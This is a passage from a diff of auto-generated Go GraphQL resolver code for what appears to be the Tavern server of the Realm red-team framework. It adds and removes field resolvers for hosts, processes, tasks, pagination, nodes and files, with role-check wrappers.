+	return ec.marshalNHostProcessStatus2realmᚗpubᚋtavernᚋinternalᚋc2ᚋepbᚐProcess_Status(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_HostProcess_status(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "HostProcess",
+		Field:      field,
+		IsMethod:   false,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			return nil, errors.New("field of type HostProcessStatus does not have child fields")
+		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Query_hosts(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Query_hosts(ctx, field)
+func (ec *executionContext) _HostProcess_host(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostProcess_host(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -3567,32 +3195,8 @@ func (ec *executionContext) _Query_hosts(ctx context.Context, field graphql.Coll
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		directive0 := func(rctx context.Context) (interface{}, error) {
-			ctx = rctx // use context from middleware stack in children
-			return ec.resolvers.Query().Hosts(rctx, fc.Args["where"].(*ent.HostWhereInput))
-		}
-		directive1 := func(ctx context.Context) (interface{}, error) {
-			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
-			if err != nil {
-				return nil, err
-			}
-			if ec.directives.RequireRole == nil {
-				return nil, errors.New("directive requireRole is not implemented")
-			}
-			return ec.directives.RequireRole(ctx, nil, directive0, role)
-		}
-
-		tmp, err := directive1(rctx)
-		if err != nil {
-			return nil, graphql.ErrorOnPath(ctx, err)
-		}
-		if tmp == nil {
-			return nil, nil
-		}
-		if data, ok := tmp.([]*ent.Host); ok {
-			return data, nil
-		}
-		return nil, fmt.Errorf(`unexpected type %T from directive, should be []*realm.pub/tavern/internal/ent.Host`, tmp)
+		ctx = rctx // use context from middleware stack in children
+		return obj.Host(ctx)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -3604,17 +3208,17 @@ func (ec *executionContext) _Query_hosts(ctx context.Context, field graphql.Coll
 		}
 		return graphql.Null
 	}
-	res := resTmp.([]*ent.Host)
+	res := resTmp.(*ent.Host)
 	fc.Result = res
-	return ec.marshalNHost2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostᚄ(ctx, field.Selections, res)
+	return ec.marshalNHost2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHost(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Query_hosts(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostProcess_host(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Query",
+		Object:     "HostProcess",
 		Field:      field,
 		IsMethod:   true,
-		IsResolver: true,
+		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
 			switch field.Name {
 			case "id":
@@ -3641,26 +3245,17 @@ func (ec *executionContext) fieldContext_Query_hosts(ctx context.Context, field
 				return ec.fieldContext_Host_files(ctx, field)
 			case "processes":
 				return ec.fieldContext_Host_processes(ctx, field)
+			case "credentials":
+				return ec.fieldContext_Host_credentials(ctx, field)
 			}
 			return nil, fmt.Errorf("no field named %q was found under type Host", field.Name)
 		},
 	}
-	defer func() {
-		if r := recover(); r != nil {
-			err = ec.Recover(ctx, r)
-			ec.Error(ctx, err)
-		}
-	}()
-	ctx = graphql.WithFieldContext(ctx, fc)
-	if fc.Args, err = ec.field_Query_hosts_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
-		ec.Error(ctx, err)
-		return fc, err
-	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Query_tags(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Query_tags(ctx, field)
+func (ec *executionContext) _HostProcess_task(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostProcess_task(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -3672,32 +3267,8 @@ func (ec *executionContext) _Query_tags(ctx context.Context, field graphql.Colle
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		directive0 := func(rctx context.Context) (interface{}, error) {
-			ctx = rctx // use context from middleware stack in children
-			return ec.resolvers.Query().Tags(rctx, fc.Args["where"].(*ent.TagWhereInput))
-		}
-		directive1 := func(ctx context.Context) (interface{}, error) {
-			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
-			if err != nil {
-				return nil, err
-			}
-			if ec.directives.RequireRole == nil {
-				return nil, errors.New("directive requireRole is not implemented")
-			}
-			return ec.directives.RequireRole(ctx, nil, directive0, role)
-		}
-
-		tmp, err := directive1(rctx)
-		if err != nil {
-			return nil, graphql.ErrorOnPath(ctx, err)
-		}
-		if tmp == nil {
-			return nil, nil
-		}
-		if data, ok := tmp.([]*ent.Tag); ok {
-			return data, nil
-		}
-		return nil, fmt.Errorf(`unexpected type %T from directive, should be []*realm.pub/tavern/internal/ent.Tag`, tmp)
+		ctx = rctx // use context from middleware stack in children
+		return obj.Task(ctx)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -3709,47 +3280,56 @@ func (ec *executionContext) _Query_tags(ctx context.Context, field graphql.Colle
 		}
 		return graphql.Null
 	}
-	res := resTmp.([]*ent.Tag)
+	res := resTmp.(*ent.Task)
 	fc.Result = res
-	return ec.marshalNTag2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTagᚄ(ctx, field.Selections, res)
+	return ec.marshalNTask2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTask(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Query_tags(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostProcess_task(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Query",
+		Object:     "HostProcess",
 		Field:      field,
 		IsMethod:   true,
-		IsResolver: true,
+		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
 			switch field.Name {
 			case "id":
-				return ec.fieldContext_Tag_id(ctx, field)
-			case "name":
-				return ec.fieldContext_Tag_name(ctx, field)
-			case "kind":
-				return ec.fieldContext_Tag_kind(ctx, field)
-			case "hosts":
-				return ec.fieldContext_Tag_hosts(ctx, field)
+				return ec.fieldContext_Task_id(ctx, field)
+			case "createdAt":
+				return ec.fieldContext_Task_createdAt(ctx, field)
+			case "lastModifiedAt":
+				return ec.fieldContext_Task_lastModifiedAt(ctx, field)
+			case "claimedAt":
+				return ec.fieldContext_Task_claimedAt(ctx, field)
+			case "execStartedAt":
+				return ec.fieldContext_Task_execStartedAt(ctx, field)
+			case "execFinishedAt":
+				return ec.fieldContext_Task_execFinishedAt(ctx, field)
+			case "output":
+				return ec.fieldContext_Task_output(ctx, field)
+			case "outputSize":
+				return ec.fieldContext_Task_outputSize(ctx, field)
+			case "error":
+				return ec.fieldContext_Task_error(ctx, field)
+			case "quest":
+				return ec.fieldContext_Task_quest(ctx, field)
+			case "beacon":
+				return ec.fieldContext_Task_beacon(ctx, field)
+			case "reportedFiles":
+				return ec.fieldContext_Task_reportedFiles(ctx, field)
+			case "reportedProcesses":
+				return ec.fieldContext_Task_reportedProcesses(ctx, field)
+			case "reportedCredentials":
+				return ec.fieldContext_Task_reportedCredentials(ctx, field)
 			}
-			return nil, fmt.Errorf("no field named %q was found under type Tag", field.Name)
+			return nil, fmt.Errorf("no field named %q was found under type Task", field.Name)
 		},
 	}
-	defer func() {
-		if r := recover(); r != nil {
-			err = ec.Recover(ctx, r)
-			ec.Error(ctx, err)
-		}
-	}()
-	ctx = graphql.WithFieldContext(ctx, fc)
-	if fc.Args, err = ec.field_Query_tags_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
-		ec.Error(ctx, err)
-		return fc, err
-	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Query_tomes(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Query_tomes(ctx, field)
+func (ec *executionContext) _PageInfo_hasNextPage(ctx context.Context, field graphql.CollectedField, obj *entgql.PageInfo[int]) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_PageInfo_hasNextPage(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -3761,32 +3341,8 @@ func (ec *executionContext) _Query_tomes(ctx context.Context, field graphql.Coll
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		directive0 := func(rctx context.Context) (interface{}, error) {
-			ctx = rctx // use context from middleware stack in children
-			return ec.resolvers.Query().Tomes(rctx, fc.Args["where"].(*ent.TomeWhereInput))
-		}
-		directive1 := func(ctx context.Context) (interface{}, error) {
-			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
-			if err != nil {
-				return nil, err
-			}
-			if ec.directives.RequireRole == nil {
-				return nil, errors.New("directive requireRole is not implemented")
-			}
-			return ec.directives.RequireRole(ctx, nil, directive0, role)
-		}
-
-		tmp, err := directive1(rctx)
-		if err != nil {
-			return nil, graphql.ErrorOnPath(ctx, err)
-		}
-		if tmp == nil {
-			return nil, nil
-		}
-		if data, ok := tmp.([]*ent.Tome); ok {
-			return data, nil
-		}
-		return nil, fmt.Errorf(`unexpected type %T from directive, should be []*realm.pub/tavern/internal/ent.Tome`, tmp)
+		ctx = rctx // use context from middleware stack in children
+		return obj.HasNextPage, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -3798,63 +3354,26 @@ func (ec *executionContext) _Query_tomes(ctx context.Context, field graphql.Coll
 		}
 		return graphql.Null
 	}
-	res := resTmp.([]*ent.Tome)
+	res := resTmp.(bool)
 	fc.Result = res
-	return ec.marshalNTome2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTomeᚄ(ctx, field.Selections, res)
+	return ec.marshalNBoolean2bool(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Query_tomes(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_PageInfo_hasNextPage(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Query",
+		Object:     "PageInfo",
 		Field:      field,
-		IsMethod:   true,
-		IsResolver: true,
+		IsMethod:   false,
+		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "id":
-				return ec.fieldContext_Tome_id(ctx, field)
-			case "createdAt":
-				return ec.fieldContext_Tome_createdAt(ctx, field)
-			case "lastModifiedAt":
-				return ec.fieldContext_Tome_lastModifiedAt(ctx, field)
-			case "name":
-				return ec.fieldContext_Tome_name(ctx, field)
-			case "description":
-				return ec.fieldContext_Tome_description(ctx, field)
-			case "author":
-				return ec.fieldContext_Tome_author(ctx, field)
-			case "supportModel":
-				return ec.fieldContext_Tome_supportModel(ctx, field)
-			case "tactic":
-				return ec.fieldContext_Tome_tactic(ctx, field)
-			case "paramDefs":
-				return ec.fieldContext_Tome_paramDefs(ctx, field)
-			case "eldritch":
-				return ec.fieldContext_Tome_eldritch(ctx, field)
-			case "files":
-				return ec.fieldContext_Tome_files(ctx, field)
-			case "uploader":
-				return ec.fieldContext_Tome_uploader(ctx, field)
-			}
-			return nil, fmt.Errorf("no field named %q was found under type Tome", field.Name)
+			return nil, errors.New("field of type Boolean does not have child fields")
 		},
 	}
-	defer func() {
-		if r := recover(); r != nil {
-			err = ec.Recover(ctx, r)
-			ec.Error(ctx, err)
-		}
-	}()
-	ctx = graphql.WithFieldContext(ctx, fc)
-	if fc.Args, err = ec.field_Query_tomes_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
-		ec.Error(ctx, err)
-		return fc, err
-	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Query_users(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Query_users(ctx, field)
+func (ec *executionContext) _PageInfo_hasPreviousPage(ctx context.Context, field graphql.CollectedField, obj *entgql.PageInfo[int]) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_PageInfo_hasPreviousPage(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -3866,32 +3385,8 @@ func (ec *executionContext) _Query_users(ctx context.Context, field graphql.Coll
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		directive0 := func(rctx context.Context) (interface{}, error) {
-			ctx = rctx // use context from middleware stack in children
-			return ec.resolvers.Query().Users(rctx, fc.Args["where"].(*ent.UserWhereInput))
-		}
-		directive1 := func(ctx context.Context) (interface{}, error) {
-			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
-			if err != nil {
-				return nil, err
-			}
-			if ec.directives.RequireRole == nil {
-				return nil, errors.New("directive requireRole is not implemented")
-			}
-			return ec.directives.RequireRole(ctx, nil, directive0, role)
-		}
-
-		tmp, err := directive1(rctx)
-		if err != nil {
-			return nil, graphql.ErrorOnPath(ctx, err)
-		}
-		if tmp == nil {
-			return nil, nil
-		}
-		if data, ok := tmp.([]*ent.User); ok {
-			return data, nil
-		}
-		return nil, fmt.Errorf(`unexpected type %T from directive, should be []*realm.pub/tavern/internal/ent.User`, tmp)
+		ctx = rctx // use context from middleware stack in children
+		return obj.HasPreviousPage, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -3903,51 +3398,26 @@ func (ec *executionContext) _Query_users(ctx context.Context, field graphql.Coll
 		}
 		return graphql.Null
 	}
-	res := resTmp.([]*ent.User)
+	res := resTmp.(bool)
 	fc.Result = res
-	return ec.marshalNUser2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUserᚄ(ctx, field.Selections, res)
+	return ec.marshalNBoolean2bool(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Query_users(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_PageInfo_hasPreviousPage(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Query",
+		Object:     "PageInfo",
 		Field:      field,
-		IsMethod:   true,
-		IsResolver: true,
+		IsMethod:   false,
+		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "id":
-				return ec.fieldContext_User_id(ctx, field)
-			case "name":
-				return ec.fieldContext_User_name(ctx, field)
-			case "photoURL":
-				return ec.fieldContext_User_photoURL(ctx, field)
-			case "isActivated":
-				return ec.fieldContext_User_isActivated(ctx, field)
-			case "isAdmin":
-				return ec.fieldContext_User_isAdmin(ctx, field)
-			case "tomes":
-				return ec.fieldContext_User_tomes(ctx, field)
-			}
-			return nil, fmt.Errorf("no field named %q was found under type User", field.Name)
+			return nil, errors.New("field of type Boolean does not have child fields")
 		},
 	}
-	defer func() {
-		if r := recover(); r != nil {
-			err = ec.Recover(ctx, r)
-			ec.Error(ctx, err)
-		}
-	}()
-	ctx = graphql.WithFieldContext(ctx, fc)
-	if fc.Args, err = ec.field_Query_users_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
-		ec.Error(ctx, err)
-		return fc, err
-	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Query_me(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Query_me(ctx, field)
+func (ec *executionContext) _PageInfo_startCursor(ctx context.Context, field graphql.CollectedField, obj *entgql.PageInfo[int]) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_PageInfo_startCursor(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -3960,52 +3430,35 @@ func (ec *executionContext) _Query_me(ctx context.Context, field graphql.Collect
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return ec.resolvers.Query().Me(rctx)
+		return obj.StartCursor, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
 		return graphql.Null
 	}
-	res := resTmp.(*ent.User)
+	res := resTmp.(*entgql.Cursor[int])
 	fc.Result = res
-	return ec.marshalNUser2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUser(ctx, field.Selections, res)
+	return ec.marshalOCursor2ᚖentgoᚗioᚋcontribᚋentgqlᚐCursor(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Query_me(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_PageInfo_startCursor(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Query",
+		Object:     "PageInfo",
 		Field:      field,
-		IsMethod:   true,
-		IsResolver: true,
+		IsMethod:   false,
+		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "id":
-				return ec.fieldContext_User_id(ctx, field)
-			case "name":
-				return ec.fieldContext_User_name(ctx, field)
-			case "photoURL":
-				return ec.fieldContext_User_photoURL(ctx, field)
-			case "isActivated":
-				return ec.fieldContext_User_isActivated(ctx, field)
-			case "isAdmin":
-				return ec.fieldContext_User_isAdmin(ctx, field)
-			case "tomes":
-				return ec.fieldContext_User_tomes(ctx, field)
-			}
-			return nil, fmt.Errorf("no field named %q was found under type User", field.Name)
+			return nil, errors.New("field of type Cursor does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Query___type(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Query___type(ctx, field)
+func (ec *executionContext) _PageInfo_endCursor(ctx context.Context, field graphql.CollectedField, obj *entgql.PageInfo[int]) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_PageInfo_endCursor(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4018,7 +3471,7 @@ func (ec *executionContext) _Query___type(ctx context.Context, field graphql.Col
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return ec.introspectType(fc.Args["name"].(string))
+		return obj.EndCursor, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -4027,59 +3480,26 @@ func (ec *executionContext) _Query___type(ctx context.Context, field graphql.Col
 	if resTmp == nil {
 		return graphql.Null
 	}
-	res := resTmp.(*introspection.Type)
+	res := resTmp.(*entgql.Cursor[int])
 	fc.Result = res
-	return ec.marshalO__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res)
+	return ec.marshalOCursor2ᚖentgoᚗioᚋcontribᚋentgqlᚐCursor(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Query___type(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_PageInfo_endCursor(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Query",
+		Object:     "PageInfo",
 		Field:      field,
-		IsMethod:   true,
+		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "kind":
-				return ec.fieldContext___Type_kind(ctx, field)
-			case "name":
-				return ec.fieldContext___Type_name(ctx, field)
-			case "description":
-				return ec.fieldContext___Type_description(ctx, field)
-			case "fields":
-				return ec.fieldContext___Type_fields(ctx, field)
-			case "interfaces":
-				return ec.fieldContext___Type_interfaces(ctx, field)
-			case "possibleTypes":
-				return ec.fieldContext___Type_possibleTypes(ctx, field)
-			case "enumValues":
-				return ec.fieldContext___Type_enumValues(ctx, field)
-			case "inputFields":
-				return ec.fieldContext___Type_inputFields(ctx, field)
-			case "ofType":
-				return ec.fieldContext___Type_ofType(ctx, field)
-			case "specifiedByURL":
-				return ec.fieldContext___Type_specifiedByURL(ctx, field)
-			}
-			return nil, fmt.Errorf("no field named %q was found under type __Type", field.Name)
+			return nil, errors.New("field of type Cursor does not have child fields")
 		},
 	}
-	defer func() {
-		if r := recover(); r != nil {
-			err = ec.Recover(ctx, r)
-			ec.Error(ctx, err)
-		}
-	}()
-	ctx = graphql.WithFieldContext(ctx, fc)
-	if fc.Args, err = ec.field_Query___type_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
-		ec.Error(ctx, err)
-		return fc, err
-	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Query___schema(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Query___schema(ctx, field)
+func (ec *executionContext) _Query_node(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Query_node(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4092,7 +3512,7 @@ func (ec *executionContext) _Query___schema(ctx context.Context, field graphql.C
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return ec.introspectSchema()
+		return ec.resolvers.Query().Node(rctx, fc.Args["id"].(int))
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -4101,40 +3521,37 @@ func (ec *executionContext) _Query___schema(ctx context.Context, field graphql.C
 	if resTmp == nil {
 		return graphql.Null
 	}
-	res := resTmp.(*introspection.Schema)
+	res := resTmp.(ent.Noder)
 	fc.Result = res
-	return ec.marshalO__Schema2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐSchema(ctx, field.Selections, res)
+	return ec.marshalONode2realmᚗpubᚋtavernᚋinternalᚋentᚐNoder(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Query___schema(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Query_node(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
 		Object:     "Query",
 		Field:      field,
 		IsMethod:   true,
-		IsResolver: false,
+		IsResolver: true,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "description":
-				return ec.fieldContext___Schema_description(ctx, field)
-			case "types":
-				return ec.fieldContext___Schema_types(ctx, field)
-			case "queryType":
-				return ec.fieldContext___Schema_queryType(ctx, field)
-			case "mutationType":
-				return ec.fieldContext___Schema_mutationType(ctx, field)
-			case "subscriptionType":
-				return ec.fieldContext___Schema_subscriptionType(ctx, field)
-			case "directives":
-				return ec.fieldContext___Schema_directives(ctx, field)
-			}
-			return nil, fmt.Errorf("no field named %q was found under type __Schema", field.Name)
+			return nil, errors.New("FieldContext.Child cannot be called on type INTERFACE")
 		},
 	}
+	defer func() {
+		if r := recover(); r != nil {
+			err = ec.Recover(ctx, r)
+			ec.Error(ctx, err)
+		}
+	}()
+	ctx = graphql.WithFieldContext(ctx, fc)
+	if fc.Args, err = ec.field_Query_node_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
+		ec.Error(ctx, err)
+		return fc, err
+	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Quest_id(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Quest_id(ctx, field)
+func (ec *executionContext) _Query_nodes(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Query_nodes(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4147,7 +3564,7 @@ func (ec *executionContext) _Quest_id(ctx context.Context, field graphql.Collect
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.ID, nil
+		return ec.resolvers.Query().Nodes(rctx, fc.Args["ids"].([]int))
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -4159,26 +3576,37 @@ func (ec *executionContext) _Quest_id(ctx context.Context, field graphql.Collect
 		}
 		return graphql.Null
 	}
-	res := resTmp.(int)
+	res := resTmp.([]ent.Noder)
 	fc.Result = res
-	return ec.marshalNID2int(ctx, field.Selections, res)
+	return ec.marshalNNode2ᚕrealmᚗpubᚋtavernᚋinternalᚋentᚐNoder(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Quest_id(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Query_nodes(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Quest",
+		Object:     "Query",
 		Field:      field,
-		IsMethod:   false,
-		IsResolver: false,
+		IsMethod:   true,
+		IsResolver: true,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type ID does not have child fields")
+			return nil, errors.New("FieldContext.Child cannot be called on type INTERFACE")
 		},
 	}
+	defer func() {
+		if r := recover(); r != nil {
+			err = ec.Recover(ctx, r)
+			ec.Error(ctx, err)
+		}
+	}()
+	ctx = graphql.WithFieldContext(ctx, fc)
+	if fc.Args, err = ec.field_Query_nodes_args(ctx, field.ArgumentMap(ec.Variables)); err != nil {
+		ec.Error(ctx, err)
+		return fc, err
+	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Quest_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.Quest) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Quest_createdAt(ctx, field)
+func (ec *executionContext) _Query_files(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Query_files(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -4190,8 +3618,32 @@ func (ec *executionContext) _Quest_createdAt(ctx context.Context, field graphql.
 		}
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		ctx = rctx // use context from middleware stack in children
-		return obj.CreatedAt, nil
+		directive0 := func(rctx context.Context) (interface{}, error) {
+			ctx = rctx // use context from middleware stack in children
+			return ec.resolvers.Query().Files(rctx, fc.Args["where"].(*ent.FileWhereInput))
+		}
+		directive1 := func(ctx context.Context) (interface{}, error) {
+			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "USER")
+			if err != nil {
+				return nil, err
+			}
+			if ec.directives.RequireRole == nil {
+				return nil, errors.New("directive requireRole is not implemented")
+			}
+			return ec.directives.RequireRole(ctx, nil, directive0, role)
+		}
+
+		tmp, err := directive1(rctx)
+		if err != nil {
+			return nil, graphql.ErrorOnPath(ctx, err)
+		}
+		if tmp == nil {
+			return nil, nil
+		}
+		if data, ok := tmp.([]*ent.File); ok {
+			return data, nil
+		}
+		return nil, fmt.Errorf(`unexpected type %T from directive, should be []*realm.pub/tavern/internal/ent.File`, tmp)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -4203,26 +3655,53 @@ func (ec *executionContext) _Quest_createdAt(ctx context.Context, field graphql.
 		}
 		return graphql.Null
 	}
-	res := resTmp.(time.Time)
+	res := resTmp.([]*ent.File)
 	fc.Result = res
-	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
+	return ec.marshalNFile2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐFileᚄ(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Quest_createdAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Query_files(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Quest",
+		Object:     "Query",
 		Field:      field,
-		IsMethod:   false,
-		IsResolver: false,
+		IsMethod:   true,
+		IsResolver: true,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Time does not have child fields")
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_File_id(ctx, field)
+			case "createdAt":
+				return ec.fieldContext_File_createdAt(ctx, field)
+			case "lastModifiedAt":
+				return ec.fieldContext_File_lastModifiedAt(ctx, field)
+			case "name":
+				return ec.fieldContext_File_name(ctx, field)
+			case "size":
+				return ec.fieldContext_File_size(ctx, field)
+			case "hash":
+				return ec.fieldContext_File_hash(ctx, field)
+			case "tomes":
+				return ec.fieldContext_File_tomes(ctx, field)
+			}
